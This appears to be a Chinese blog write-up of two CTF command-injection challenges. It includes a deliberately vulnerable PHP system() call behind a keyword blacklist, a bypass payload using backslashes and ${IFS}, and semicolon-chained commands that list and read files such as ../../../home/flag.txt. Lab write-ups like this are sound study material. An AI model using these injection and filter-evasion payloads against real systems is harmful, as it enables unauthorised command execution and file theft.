当前位置: 首页 > news >正文

【CTF刷题9】2024.10.19

[MoeCTF 2021]babyRCE

考点:关键词过滤(绕过方法参考往期博客)

来源:nssctf

 <?php$rce = $_GET['rce'];
if (isset($rce)) {if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {system($rce);}else {echo "hhhhhhacker!!!"."\n";}
} else {highlight_file(__FILE__);
} 

先用ls查看

image-20241019170841483

空格可以用${IFS}绕过
构造payload:

?rce=ca\t${IFS}fl\ag.php

image-20241019170919138

command_execution

考点:命令执行

来源:攻防世界

image-20241019182142415

先ping一下127.0.0.1

image-20241019182650673

再用;来连接两个命令 127.0.0.1;ls

image-20241019182844520

试试看能不能查看inddex.php

127.0.0.1;cat index.php

image-20241019183259450

很明显,不行,那就退级看看

image-20241019183409397

在home中发现flag。

image-20241019183459124

查看flag

127.0.0.1;cat …/…/…/home/flag.txt

image-20241019173221179

cyberpeace{ac541782e73fa1da4a98ec4bc3449fb1}
http://www.lryc.cn/news/464329.html

相关文章:

  • WPF中的Setter
  • RabbitMQ下载与配置
  • 【数据结构与算法】力扣 54. 螺旋矩阵
  • 速通不了的人工智能
  • 微信新功能上线,找工作也能“附近”搞定
  • CANoe与C#联合仿真方案
  • 公交信息在线查询系统|基于java和小程序的公交信息在线查询系统小程序设计与实现(源码+数据库+文档)
  • [LeetCode] 1162. 地图分析
  • CentOS 上安装 MySQL(附卸载教程)
  • 如何在Matlab界面中添加日期选择器?
  • 保险系统的部分模式01
  • 用你的手机/电脑运行文生图方案
  • L1正则化详解
  • C语言在数据库开发中的应用及其代码实践
  • java maven
  • Java爬虫:获取直播带货数据的实战指南
  • python 列表、元组、字典易误区
  • wireshark或tshark提取tcpdump捕获的数据包(附python脚本自动解析文件后缀)
  • 了解EasyNVR及EasyNVS,EasyNVR连接EasyNVS显示授权超时如何解决?什么原因?
  • 【AUTOSAR标准文档】服务类型介绍
  • Axure垂直菜单展开与折叠
  • java简单理解哈希算法
  • Python生成随机密码脚本
  • 什么是ASC广告?Facebook ASC广告使用技巧
  • idea2024启动Java项目报Error running CloudPlApplication. Command line is too long.
  • xtu oj 不定方程的正整数解
  • python爬虫技术实现酷我付费破解下载
  • 工具:Git分布式版本控制系统
  • python+docxtpl:word文件模版渲染
  • 018_基于python+django荣誉证书管理系统2024_jytq9489